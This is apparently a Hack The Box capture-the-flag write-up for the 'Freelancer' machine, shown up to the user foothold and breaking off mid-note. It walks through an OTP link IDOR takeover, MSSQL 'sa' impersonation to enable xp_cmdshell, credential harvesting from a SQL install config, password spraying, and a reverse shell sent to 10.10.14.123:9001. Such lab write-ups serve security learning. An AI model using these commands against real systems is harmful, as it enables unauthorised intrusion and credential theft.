Post

Hack The Box - Freelancer

Posted
By nicetrykiddo
22 min read
Hack The Box - Freelancer

User

Recon

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

❯ sudo nmap -Pn -n -sS -p- -T5 10.129.2.225
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-10 21:53 +0530
Nmap scan report for 10.129.2.225
Host is up (0.087s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49667/tcp open  unknown
49680/tcp open  unknown
49681/tcp open  unknown
49682/tcp open  unknown
61641/tcp open  unknown
61645/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 116.45 seconds

from website contact page we have support user support@freelancer.htb

on reset password page we also have

1

⨀ After providing the correct username with the security questions answers you raccount will be reactivated, and you can reset your account password

basic enumeration manually on the website doesn’t give much other than support user

http://freelancer.htb/accounts/login/ requires an account activation even after register, so we need an already activated account

we can observe admin dashboard running ffuf

1

admin                   [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 325ms]

http://freelancer.htb/admin/login/?next=/admin/ this is the redirected link after visiting /admin

trying more basic techniques doesn’t give me a lead so back onto the reset password page since it can reactivate my account Then I tried to create a new account and reset it’s password which worked flawlessly then I reached admin dashboard

there is image upload section but no lead with that making a comment on Blogs I am able to see my profile with the following link

http://freelancer.htb/accounts/profile/visit/10010/

editing the 10010 for IDOR leads to -1 gives WARNING: Malicious content has been detected! 1 is 404 2 is admin

then I ran intruder from 1 to 30 I get a 404 onwards id 14, so we have in total 12 users trying to access admin account by resetting it’s password doesn’t work since we dont have answers to the security questions Then I tried to create a new user with same username as admin and same email as admin’s email, which didn’t give a lead either but we have another way to login which is QR Code we saw on the dashboard

1
2
3
4
5

❯ zbarimg qrcode.png
QR-Code:http://freelancer.htb/accounts/login/otp/MTAwMTA=/3bb277fac1d65ca4d6d0cbb571d59e6e/
scanned 1 barcode symbols from 1 images in 0 seconds

interesting

1
2

❯ echo 'MTAwMTA=' | base64 -d
10010

and 10010 is our profile so the first part is profile -> base64 2nd part looks like a md5 hash but crackstation couldn’t crack it. Then I downloaded a new qrcode which generated on the dashboard and I could see the change in the 2nd part trying expired qrcode gives Invalid or expired OTP Token so the hex part could be a otp token, i tried to match the hex part via all int under 1,000,000 well since I couldn’t find anything related about it I then just tried with what I already knew, I changed the user id part from 10010’s encoded string to 2’s encoded string

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

❯ zbarimg qrcode2.png
QR-Code:http://freelancer.htb/accounts/login/otp/MTAwMTA=/21ee7e61ca3f49fca8fa20827382bfcf/
scanned 1 barcode symbols from 1 images in 0.01 seconds

❯ curl -c cookies.txt -Liv 'http://freelancer.htb/accounts/login/otp/Mgo=/21ee7e61ca3f49fca8fa20827382bfcf/'

[snip]

❯ curl -b cookies.txt 'http://freelancer.htb/accounts/profile/'

[snip]

			<div class="col-xl-6 col-lg-12 col-md-12">
                <div class="form-group">
                    <label>Username</label>
                    <input type="text" name="username" value="admin" maxlength="30" class="form-control" required id="id_username">
                </div>
            </div>


            <div class="col-xl-6 col-lg-12 col-md-12">
                <div class="form-group">
                    <label>Email</label>
                    <input type="email" name="email" value="johnHalond@freelancer.htb" maxlength="254" class="form-control" required id="id_email">
                </div>
            </div>

[snip]

there we have it logged in, with otp token of someone else’s user using the cookies on browser which we got from curl gives us access to the admin user now we can also access the /admin endpoint which gives us

list of custom users

1
2
3
4
5
6
7
8
9
10
11
12
13

mark.rose@yahoo.com
johnholand@secretareas.com
jroman1992@gmail.com
philippos007@hacktheworld.eu
itachi.uchiha@gmail.com
maya001@hotmail.com
SaraArkhader@gmail.com
lisa.Arkhader@outlook.com
Camellia@athento.com
crista.Watterson@gmail.com
martin.rose@hotmail.com
tomHazard@freelancer.htb
johnHalond@freelancer.htb

now adding all the users in our user.txt since we already had 1 support user we will append it in our file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

❯ cat custom_users.txt
mark.rose@yahoo.com
johnholand@secretareas.com
jroman1992@gmail.com
philippos007@hacktheworld.eu
itachi.uchiha@gmail.com
maya001@hotmail.com
SaraArkhader@gmail.com
lisa.Arkhader@outlook.com
Camellia@athento.com
crista.Watterson@gmail.com
martin.rose@hotmail.com
tomHazard@freelancer.htb
johnHalond@freelancer.htb
❯ cat custom_users.txt | cut -d '@' -f1 >> users.txt
❯ cat users.txt
support
mark.rose
johnholand
jroman1992
philippos007
itachi.uchiha
maya001
SaraArkhader
lisa.Arkhader
Camellia
crista.Watterson
martin.rose
tomHazard
johnHalond

there is also a development tools section which reveals a SQL Terminal

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

select name from sys.tables

|name|
|---|
|django_migrations|
|freelancer_customuser|
|freelancer_article|
|freelancer_job|
|freelancer_otptoken|
|freelancer_employer|
|freelancer_freelancer|
|freelancer_comment|
|freelancer_job_request|
|django_content_type|
|django_admin_log|
|auth_permission|
|auth_group|
|auth_group_permissions|
|django_session|

freelance_customuser db has hashed password and security questions

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

SELECT * FROM freelancer_customuser

|id|password|last_login|username|email|first_name|last_name|is_active|is_staff|is_superuser|security_q1|security_q2|security_q3|failed_login_attempts|address|joined_at|image|user_type|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|2|pbkdf2_sha256$600000$IgjtPcBB9VySMPXoeAc8PL$pmpMU81uwwKvdxUBNVk/K4Wwh4pw/fWIseSx4XkyMJo=|2026-07-11T01:44:15.782|admin|johnHalond@freelancer.htb|John|Halond|true|true|true|8be50ed6916ec1127528ed2809a281844bc2429e66c8b9d5751b82f2922b07c88d4a7a85831d694b220fc432e2397c9bf7c9a53bbb8e58b7bee1edebe2a58525|659989711347216827e21206501d518ec1714ebf7ebfae1ba7efd8be98704ded5d2aa1d525e2f473be01a76a7a02ce56ad1a9cddd8785d62fdbb224ca319bb46|762907cf53f842718f1a34c11b24ec74062e18c12e6f19e500a23d9c244fea496f02ec5424a0754f2710e3f0dd217f973fc6260e07c99fc1ca1e22c848f56fc7|-999997|US East - Boston|2020-11-12T01:45:52.109|freelancer/templates/static/assets/images/users_profiles/2.png|Employer|
|3|pbkdf2_sha256$600000$tip7FkNIoN7nKNTLckQuiY$Q6g1Qx0B8ul/qxGQ0hX4lYoHc3jxkrWaf3lZvNknfWU=|2023-09-19T05:08:55.133|tomHazard|tomHazard@freelancer.htb|Tom|Hazard|true|false|false|13ba0ef4d4b6c8134d69d77cbe6c942394805c40c586740dcf28cdfac533223173c726ab1fa558dc92df776d7e03a2ec436c996dfa00fe8147cdf7435022bb18|787445cd9a310e153d755c8fab54c0d138ebceded3e8bc690c898b90e6cd42b8475bfc690e92834104be9abc0cc27f2da49ea95b8a6840458a7621e3166ef222|6523f41002b050e11944c3a84ed1467381ffc166c061d4a7ab490f2157486ab8b1a61c542331224f987d3b85ff55810f3934dc317b8584395a0a8726a34b33e8|0|US West - Los Angeles|2020-01-19T02:04:41.784|freelancer/templates/static/assets/images/users_profiles/3.jpg|Employer|
|4|pbkdf2_sha256$600000$x9n1jiojmHAAzp3RSfvh3A$UmFMGDpFb6Gjz1XHmqNoO2eH7+7kYFfrDahLkJGpoUo=|2023-09-19T07:15:12.980|martin1234|martin.rose@hotmail.com|Martin|Rose|true|false|false|79b6583f5324bb25309e54f483531cc2047fd061da985ca2f114befa7116f193d54ee5b8d093e3f6a70bbe2bcdbc8e014d805e7bec4af02f6dd974a7c62c72eb|2aa00354db1988fd78426ce53407b130a551e23ac8330b4f28e17adad4e14a392ffa64e4e2568eb632b833715ad7bfbc04d31e1086cb2a4b790b88b4c6a3058d|289d3fe3bb3ed3d76aa3c37364492a5956c52d1fc1584dffa104526f7ee8130c565f1c1d86ff6b9aa9e45fab846f9cb43ab0de2438e1aec946e0bc42d2259715|0|Canada West - Vancouver|2021-02-01T02:06:58.483|freelancer/templates/static/assets/images/users_profiles/4.jpg|Employer|
|5|pbkdf2_sha256$600000$R9zyIpTUoHWkY3OK9mDf80$Qzm3CzI3RN6sJ3c8Ntuif9hqjZCIe+J9DxQGgPgVc3I=|2023-09-19T07:17:09.850|crista.W|crista.Watterson@gmail.com|Crista|Watterson|true|false|false|60a7f05ada80f4b8177b1c341b42ad62f3b3f167fb4fc3cd4d873a9d59cdc74e0f780d82d896573efb9c8346bd70f9ed482eeaf6a372b2fe68c4d7c86f0f9849|413270b347d01f0ab62c294a5844c08f3b4bd165d8aaf42b679e5bfe84ca98be4f180a64f9e2a4be5b8dd27f63b9ac2a0ad90e51c8825cb342f74298b48dd3a0|7b22d3d8dcdd1ea19529d898b548ca8be4e18f68f27c9c1d158550c9491a471706800dd98ecee9f051cdb2845aefec8fdfb19fda7cf56198a72c2acd2e13a89f|0|Germany - Frankfurt|2022-03-12T02:09:12.671|freelancer/templates/static/assets/images/users_profiles/5.png|Employer|
|6|pbkdf2_sha256$600000$4KqR8oqlwUMVVjZuzbz4Wu$2mdmIWr5SyIdLBngGve3pZyS1KaOO4+hlXgmxAeGtVs=|2023-09-19T05:10:58.225|Camellia19970|Camellia@athento.com|Camellia|Renesa|true|false|false|616724022112225ed0c16fb716597706b3175215d72509ae102b542f1977f6db51909e426f9c022bb2df86c8d8bc5c914d481c9894bae9c930f645b7e7480ae5|53460abedc03cbb56b91540226a96ab00352ba0c8bc6f25260db2866345f1adeb13dd831d323607943e7ee8052365a01d5639b7b62373b0d83b94645b9c0c66b|19c7954c152a82d8d46e9dbdd9abe63e7b3d27c0281e19100c2f5ddab1cfd53d43d08ddd3b3b6b2cee0428bb50729dcc8ded5cd0475e59b387271e85451a0eaa|0|Italy - Milan|2024-01-19T02:11:53.906|freelancer/templates/static/assets/images/users_profiles/6.jpg|Employer|
|7|pbkdf2_sha256$600000$jP0nxcmm3rWlUWkf1xBqhE$mnABoJ2VkzyUi1LC+IuwjJZOs4/z6yqQG4tpJy1b86A=|null|lisa.Ar|lisa.Arkhader@outlook.com|Lisa|Arkhader|true|false|false|c7505d25801cd2a141dd5178c3d6196998dd41abe766700c2d2d807b9e68281a7566d74b2e734fec6225d7fd4c7baf0d91209eb459796e36d84989ef63dc3e89|edc672326423b8f32e9ded6bd351c0efbbac265859badbbb4944a2c3eca55675e22f4bde9b79cefaca5f842739d8b970b647456a3e5d14435196f7b16f6369b8|54fa52b09126930f2e8f778c8e63176bc3f3fc13191994fca764ba415f681d102226831176b95a4f0a00f2cdef71013f94956046bab395415aa559d695084171|0|UK - London|2024-01-19T02:14:37.108||Freelancer|
|8|pbkdf2_sha256$600000$n807xz2S84KMIXaCE1d8cd$HS+8AffbYcIHSXTE7LoYtTiJRAmAqrkq7o+RAqZDPys=|null|SaraArkhader|SaraArkhader@gmail.com|Sara|Arkhader|true|false|false|4142f7d0b933be63004b3cda08142f98d92fa45387aac1ae0d781264e233a8a28385b232218f0f354091cb0d70b8e22de84f9099104b69b1e5b0cd5360b61880|3cf1af9d9b88e54a01bb46c0950eba22f7eee687c96add1156b0d3d5002819011cb4a4ec77b0860c19e02e07b72c956b9ee5ac4645b04b5697d61101235a2726|b3a59a93133cdf183ac37c922b7af436d0c5a2cf99322cf80a6910987b88f378a7b4b9d4551eb4a28441c3102d847631e12034c1075e137d31f2d764a5e07b05|0|US - Atlanta|2024-02-02T02:16:21.844||Freelancer|
|9|pbkdf2_sha256$600000$sLNgktJGLeN8BE9mzu7ZaH$dDbEJQWTdNGhw0xfJKzBvAhg+6Ag76WaXeFgjUKE89U=|null|maya001|maya001@hotmail.com|Maya|Ackasha|true|false|false|f02bda7e50467d2693ebecfa24d2f4e33d425c52ff9374b573e5105ea1d684e204d354a4d2c536780bebe2c95f68e2c43533722f33420bf62cd4f815d4ba9288|9b9db72d16cbdd4be4b41be29927ae12e112af08c149930cb5db71a1c98cfe3e6effcd048783146e146b383505a62527f966d5d9c17df921fa98b8e07e9beb93|ef165edad5279e8f16e1bc6813be791526fb3f3e2bf2fb3da0cfbcb473e2563acc275aa976ea993be0652773417ae198c9a7c73575a5857b779e16008ef820b2|0|Egypt - Cairo|2024-02-05T05:58:51.237||Freelancer|
|10|pbkdf2_sha256$600000$BYsJKIsg3DqI3DxZ08AL5t$4NYhZbnmJY7qQOsZADGbdDZk5EyS7NBv0NVA21LKLs0=|null|ItachiUchiha|itachi.uchiha@gmail.com|Itachi|Uchiha|true|false|false|24a3c44d415e8cad3b6dab4c8c558354167ad78d6ebd4dc9d5dafe6d0e56acbcd1d073d37abbaf0dde176fcb2b434e3869629d6acb36dcf4cf3771da430032d6|e820ce3b310c8a7995fdf351ee5e07ba1d96770388fc700bb4cd39ede977cd52895853e377a1cecf59cc3b235cef7b2f05f597240b2cb0b790cc6b8c5acf894c|11391a1771affb656332be42ed165508f7029af2c20266900a7018d8da30de6d2d04e839702b9cfbd37786df6a11ea6fdb5c2531fc30e230169825988806cb72|0|The village of Konohagakure|2004-01-11T06:05:18.233|freelancer/templates/static/assets/images/users_profiles/10.jpg|Freelancer|
|11|pbkdf2_sha256$600000$Vv05zVNTevRy9j29n3nnmC$WIrntfpqMYGv7x79UZtOXOLOmnskyHItdxKMzh0BPRY=|null|Philippos|philippos007@hacktheworld.eu|Philip|Marcos|true|false|false|200ad492092da5c74b8f64ce3a8adcd764fa23f498c3b9c2755617688ffdedac58455f4c7b6a5ddeec18e6cf2863451f130b33e9eb3d56882b9722599198f5b8|6bccc4061b8879914fbc3444d3a25b141a60f1e6b72eced77e414f037f3da3d702633b3976c473e7fb2cfe04ab805adc357d6326c46655c9866900504e36e10b|cb4eb1c0bcd5eb14160d30b860401c5412fdb874d98781e8b64e8440e24de794b161464dc420de138c559ad10ef2d3a107ed633802278e1460b777cfe8e51a32|0|USA - Washington|2024-01-11T06:07:18.991||Freelancer|
|12|pbkdf2_sha256$600000$ItLrs0zNKnvHpa8x81YUET$znvkVByIaU8U+s41mE6RjOd9yrpe1DLBF/l76bMznwo=|null|Jonathon.R|jroman1992@gmail.com|Jonathon|Roman|true|false|false|3f150f14aa0690092c3cc017382bf5f7a6a96b2b2687fb0d9c966918a15887d570c1746d2e5d7b93a84e5781e3e3c54848db682777fad48978d594c4521024f2|f8acc441517b9734fb5b5e25e85127bbd7b10f8d3911133b74ed69d54bdd6a7d9b3a43c0ed69f8c46d157bdef23cabee1ac3ea38ffd9c8b81f0cdc1200dbba85|faa478d3c4a25d5cf09719debbfe2ad4a3c2c7fdb6fa6b58bb6b2f49ad8a34e95a7d70a24ade84df199e52352f8eb84d9c2044c972af37e5bf51de4bdd8a2a35|0|USA - Las Vegas|2022-02-01T06:31:43.104|freelancer/templates/static/assets/images/users_profiles/12.png|Freelancer|
|13|pbkdf2_sha256$600000$eyWcuxHnbIoONyvdQ3tZaM$TN4+gH91PqmpGSKpDZiivK1TqGbNfXErBEa558isebo=|null|JohntheCarter|johnholand@secretareas.com|John|Carter|true|false|false|3f150f14aa0690092c3cc017382bf5f7a6a96b2b2687fb0d9c966918a15887d570c1746d2e5d7b93a84e5781e3e3c54848db682777fad48978d594c4521024f2|9b9db72d16cbdd4be4b41be29927ae12e112af08c149930cb5db71a1c98cfe3e6effcd048783146e146b383505a62527f966d5d9c17df921fa98b8e07e9beb93|ef165edad5279e8f16e1bc6813be791526fb3f3e2bf2fb3da0cfbcb473e2563acc275aa976ea993be0652773417ae198c9a7c73575a5857b779e16008ef820b2|0|Canada West - Vancouver|2020-03-10T06:31:43.104|freelancer/templates/static/assets/images/users_profile/13.png|Freelancer|
|14|pbkdf2_sha256$600000$ok26XbM8us6jrG4BvlsM6h$IZbj6fZzUIagbziFSpPP68olFK7yrUCFTAZmK7qo7co=|null|Markos|mark.rose@yahoo.com|Mark|Rose|true|false|false|243efcd32bdf5876a9d9737ddcf96a2359cabb45458f011f39f103e1c38b6abdf1f86a36a65acaed1dd72b58d01c170f3bf67719fd242a6a3667e7f96be31100|e35970edaa1e0d8af7d948491b2da0450a49fd9cc1e83c5db4c6f175f9550cf341f642f6be8cfb0bfa476e4258e5088c5ad549087bf02811132ac2fa22b734c6|faa478d3c4a25d5cf09719debbfe2ad4a3c2c7fdb6fa6b58bb6b2f49ad8a34e95a7d70a24ade84df199e52352f8eb84d9c2044c972af37e5bf51de4bdd8a2a35|0|UK - London|2020-01-19T06:34:57.695|freelancer/templates/static/assets/images/users_profiles/3.jpg|Freelancer|
|10010|pbkdf2_sha256$600000$GUhIfk4CTO3ACt0yccJ15x$r+n7eyoPyo6EHYhdPEw+FEU24q8+kzNSDAhrE19EmmI=|2026-07-11T01:25:47.017|cook|cook@test.com|cook|cook|true|false|false|82d21eb188c438fa4fd4db1f8ab17ad72238c455374ca721c2bb45e4e7506fa35629ee6002f0bea70b105753b7f1cda80c1a1dc8aca31405ad8473d936972a04|82d21eb188c438fa4fd4db1f8ab17ad72238c455374ca721c2bb45e4e7506fa35629ee6002f0bea70b105753b7f1cda80c1a1dc8aca31405ad8473d936972a04|82d21eb188c438fa4fd4db1f8ab17ad72238c455374ca721c2bb45e4e7506fa35629ee6002f0bea70b105753b7f1cda80c1a1dc8aca31405ad8473d936972a04|0|cook|2026-07-10T21:39:02.532|freelancer/templates/static/assets/images/users_profiles/10010.png|Employer|

freelancer_comment

1
2
3
4
5
6
7
8
9
10
11
12

|id|type|comment|commented_on_object_Id|created_at|commented_by_user_id|
|---|---|---|---|---|---|
|1|Article|Nice Article...Really!|1|2023-01-19T05:29:42.866|5|
|2|Article|Thanks for the great advises ^__^|1|2023-02-10T05:30:32.805|8|
|3|Article|Keep it UP!!!|3|2023-02-19T06:08:10.398|9|
|4|Article|You are right because finding a job these days is easier than the last few years!|6|2023-04-12T06:09:34.431|11|
|5|Article|💪🏻😎|7|2023-09-19T06:10:22.804|8|
|6|Article|Hmmmm.. has anyone seen any Uchiha around here?|10|2023-01-02T06:11:54.569|10|
|7|Freelancer|Mr. Philippos is a very talented Hacker I worked with...|11|2023-05-11T06:14:13.976|4|
|8|Employer|Mr. Tom helped me to find my new job... thank you very much|3|2024-01-19T06:16:30.710|11|
|9|Freelancer|Hmmm.... seems a bit suspicious|10|2024-03-22T06:17:26.349|5|
|1002|Article||

django_session db has session data

running

1
2
3

exec xp_cmdshell whoami

('42000', "[42000] [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'. (229) (SQLExecDirectW)")

1
2
3

exec sp_configure 'advanced_options',1;

('42000', '[42000] [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]User does not have permission to perform this action. (15247) (SQLExecDirectW)')

not enough permissions we can try to check if we have impersonate rights

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

select name,principal_id from sys.server_principals

|name|principal_id|
|---|---|
|sa|1|
|public|2|
|sysadmin|3|
|securityadmin|4|
|serveradmin|5|
|setupadmin|6|
|processadmin|7|
|diskadmin|8|
|dbcreator|9|
|bulkadmin|10|
|Freelancer_webapp_user|267|

and we are authenticated as webapp user

1
2
3

select current_user

Freelancer_webapp_user

since select * from won’t work and we have to see the columns from https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-server-permissions-transact-sql?view=sql-server-ver17

1
2
3
4
5

SELECT class,class_desc,major_id,minor_id,grantee_principal_id,grantor_principal_id,type,permission_name,state,state_desc FROM sys.server_permissions where permission_name = 'IMPERSONATE';

|class|class_desc|major_id|minor_id|grantee_principal_id|grantor_principal_id|type|permission_name|state|state_desc|
|---|---|---|---|---|---|---|---|---|---|
|101|SERVER_PRINCIPAL|1|0|267|1|IM|IMPERSONATE|G|GRANT|

cool 267 which is webapp user our current user has impersonate permission

1
2
3
4
5
6

execute as login = 'sa'
select system_user

||
|---|
|sa|

running

1
2
3
4
5

execute as login = 'sa';
exec sp_configure 'advanced_options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 1;
reconfigure;

and then

1
2
3
4
5
6
7

execute as login = 'sa';
exec xp_cmdshell whoami;

|output|
|---|
|freelancer\sql_svc|
|null|

now using revshells i can generate a simple reverse shell and get a connection back.

1
2

PS C:\WINDOWS\system32> whoami
freelancer\sql_svc

on basic file enumeration we find apps folder nginx folder and some users in users directory but also an automation file

1
2
3
4
5
6
7
8
9
10

PS C:\Program Files\Automation Scripts> more "NTDS Refresher.bat"
@echo off

C:\Windows\System32\net.exe STOP Kdc
C:\Windows\System32\net.exe STOP IsmServ
C:\Windows\System32\net.exe STOP DNS
C:\Windows\System32\net.exe STOP DFSR

C:\Windows\System32\net.exe STOP NTDS
C:\Windows\System32\net.exe START NTDS

checking perms

1
2
3
4
5
6

PS C:\Program Files\Automation Scripts> icacls "C:\Program Files\Automation Scripts\NTDS Refresher.bat"
C:\Program Files\Automation Scripts\NTDS Refresher.bat NT AUTHORITY\SYSTEM:(I)(F)
                                                       BUILTIN\Administrators:(I)(F)
                                                       BUILTIN\Users:(I)(RX)
                                                       APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                                       APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

now finally in sql_svc’s folder

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

PS C:\Users\sql_svc> ls -Recurse


    Directory: C:\Users\sql_svc


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---        5/27/2024   1:51 PM                3D Objects
d-r---        5/27/2024   1:51 PM                Contacts
d-r---        5/28/2024  10:22 AM                Desktop
d-r---        5/28/2024  10:22 AM                Documents
d-r---        5/27/2024   1:53 PM                Downloads
d-r---        5/27/2024   1:51 PM                Favorites
d-r---        5/27/2024   1:51 PM                Links
d-r---        5/27/2024   1:51 PM                Music
d-r---        5/27/2024   1:51 PM                Pictures
d-r---        5/27/2024   1:51 PM                Saved Games
d-r---        5/27/2024   1:51 PM                Searches
d-r---        5/27/2024   1:51 PM                Videos


    Directory: C:\Users\sql_svc\Downloads


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        5/27/2024   1:52 PM                SQLEXPR-2019_x64_ENU


    Directory: C:\Users\sql_svc\Downloads\SQLEXPR-2019_x64_ENU
    
    [snip]

we have SQLEXPR-2019_x64_ENU

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

PS C:\Users\sql_svc\downloads\SQLEXPR-2019_x64_ENU> ls


    Directory: C:\Users\sql_svc\downloads\SQLEXPR-2019_x64_ENU


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        5/27/2024   1:52 PM                1033_ENU_LP
d-----        5/27/2024   1:52 PM                redist
d-----        5/27/2024   1:52 PM                resources
d-----        5/27/2024   1:52 PM                x64
-a----        9/24/2019   9:00 PM             45 AUTORUN.INF
-a----        9/24/2019   9:00 PM            784 MEDIAINFO.XML
-a----        9/29/2023   4:49 AM             16 PackageId.dat
-a----        9/24/2019   9:00 PM         142944 SETUP.EXE
-a----        9/24/2019   9:00 PM            486 SETUP.EXE.CONFIG
-a----        5/27/2024   4:58 PM            724 sql-Configuration.INI
-a----        9/24/2019   9:00 PM         249448 SQLSETUPBOOTSTRAPPER.DLL

we have config file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

PS C:\Users\sql_svc\downloads\SQLEXPR-2019_x64_ENU> type sql-C*
[OPTIONS]
ACTION="Install"
QUIET="True"
FEATURES=SQL
INSTANCENAME="SQLEXPRESS"
INSTANCEID="SQLEXPRESS"
RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS"
AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE"
AGTSVCSTARTUPTYPE="Manual"
COMMFABRICPORT="0"
COMMFABRICNETWORKLEVEL=""0"
COMMFABRICENCRYPTION="0"
MATRIXCMBRICKCOMMPORT="0"
SQLSVCSTARTUPTYPE="Automatic"
FILESTREAMLEVEL="0"
ENABLERANU="False"
SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS"
SQLSVCACCOUNT="FREELANCER\sql_svc"
SQLSVCPASSWORD="IL0v3ErenY3ager"
SQLSYSADMINACCOUNTS="FREELANCER\Administrator"
SECURITYMODE="SQL"
SAPWD="t3mp0r@ryS@PWD"
ADDCURRENTUSERASSQLADMIN="False"
TCPENABLED="1"
NPENABLED="1"
BROWSERSVCSTARTUPTYPE="Automatic"
IAcceptSQLServerLicenseTerms=True

we have two passwords t3mp0r@ryS@PWD , IL0v3ErenY3ager now checking where these passwords work

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

❯ nxs 10.129.2.225 -u users.txt -p pass.txt -C

nxs v0.2.0 10.129.2.225 · probe: 4/10 ports open · WMI, LDAP, SMB, WINRM

  anchor: SMB — validating 40 credentials

  [-] support · SMB failed — STATUS_LOGON_FAILURE
  [-] support · SMB failed — STATUS_LOGON_FAILURE
  [-] sql_svc · SMB failed — STATUS_LOGON_FAILURE
  [-] sql_svc · SMB failed — STATUS_LOGON_FAILURE
  [-] mark.rose · SMB failed — STATUS_LOGON_FAILURE
  [-] mark.rose · SMB failed — STATUS_LOGON_FAILURE
  [-] johnholand · SMB failed — STATUS_LOGON_FAILURE
  [-] johnholand · SMB failed — STATUS_LOGON_FAILURE
  [-] jroman1992 · SMB failed — STATUS_LOGON_FAILURE
  [-] jroman1992 · SMB failed — STATUS_LOGON_FAILURE
  [-] philippos007 · SMB failed — STATUS_LOGON_FAILURE
  [-] philippos007 · SMB failed — STATUS_LOGON_FAILURE
  [-] itachi.uchiha · SMB failed — STATUS_LOGON_FAILURE
  [-] itachi.uchiha · SMB failed — STATUS_LOGON_FAILURE
  [-] maya001 · SMB failed — STATUS_LOGON_FAILURE
  [-] maya001 · SMB failed — STATUS_LOGON_FAILURE
  [-] SaraArkhader · SMB failed — STATUS_LOGON_FAILURE
  [-] SaraArkhader · SMB failed — STATUS_LOGON_FAILURE
  [-] lisa.Arkhader · SMB failed — STATUS_LOGON_FAILURE
  [-] lisa.Arkhader · SMB failed — STATUS_LOGON_FAILURE
  [-] Camellia · SMB failed — STATUS_LOGON_FAILURE
  [-] Camellia · SMB failed — STATUS_LOGON_FAILURE
  [-] crista.Watterson · SMB failed — STATUS_LOGON_FAILURE
  [-] crista.Watterson · SMB failed — STATUS_LOGON_FAILURE
  [-] martin.rose · SMB failed — STATUS_LOGON_FAILURE
  [-] martin.rose · SMB failed — STATUS_LOGON_FAILURE
  [-] tomHazard · SMB failed — STATUS_LOGON_FAILURE
  [-] tomHazard · SMB failed — STATUS_LOGON_FAILURE
  [-] johnHalond · SMB failed — STATUS_LOGON_FAILURE
  [-] johnHalond · SMB failed — STATUS_LOGON_FAILURE
  [-] lkazanof · SMB failed — STATUS_LOGON_FAILURE
  [-] lkazanof · SMB failed — STATUS_LOGON_FAILURE
  [-] lorra199 · SMB failed — STATUS_LOGON_FAILURE
  [-] lorra199 · SMB failed — STATUS_LOGON_FAILURE
  [-] mikasaAckerman · SMB failed — STATUS_LOGON_FAILURE
  [+] mikasaAckerman · SMB valid — NETLOGON[READ], SYSVOL[READ]
  [-] MSSQLSERVER · SMB failed — STATUS_LOGON_FAILURE
  [-] MSSQLSERVER · SMB failed — STATUS_LOGON_FAILURE
  [-] sqlbackupoperator · SMB failed — STATUS_LOGON_FAILURE
  [-] sqlbackupoperator · SMB failed — STATUS_LOGON_FAILURE

  1/40 valid — scanning 3 remaining protocols

nxs v0.2.0 10.129.2.225 · mikasaAckerman · 4 protocols

  [+] SMB    READ     NETLOGON[READ], SYSVOL[READ]
  [-] WINRM  NO       auth failed
  [+] WMI    EXEC     command execution
  [+] LDAP   READ     Enumerated 29 domain users: freelancer.htb

1
2
3
4
5
6

PS C:\Users\sql_svc\downloads> .\r.exe mikasaAckerman "IL0v3ErenY3ager" -d freelancer.htb cmd -r 10.10.14.123:9001

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-4a7e9$\Default
[+] Async process 'C:\WINDOWS\system32\cmd.exe' with pid 3388 created in background.
PS C:\Users\sql_svc\downloads>

we have connection back

1
2
3
4
5
6
7
8
9
10

❯ rlwrap -cAr nc -lvnp 9001
Listening on 0.0.0.0 9001
Connection received on 10.129.2.225 59619
Microsoft Windows [Version 10.0.17763.5830]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
whoami
freelancer\mikasaackerman

we have a note

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

PS C:\Users\mikasaAckerman\Desktop> ls
ls


    Directory: C:\Users\mikasaAckerman\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       10/28/2023   6:23 PM           1468 mail.txt
-a----        10/4/2023   1:47 PM      292692678 MEMORY.7z
-ar---        7/10/2026   1:29 AM             34 user.txt


PS C:\Users\mikasaAckerman\Desktop> cat mail.txt
cat mail.txt
Hello Mikasa,
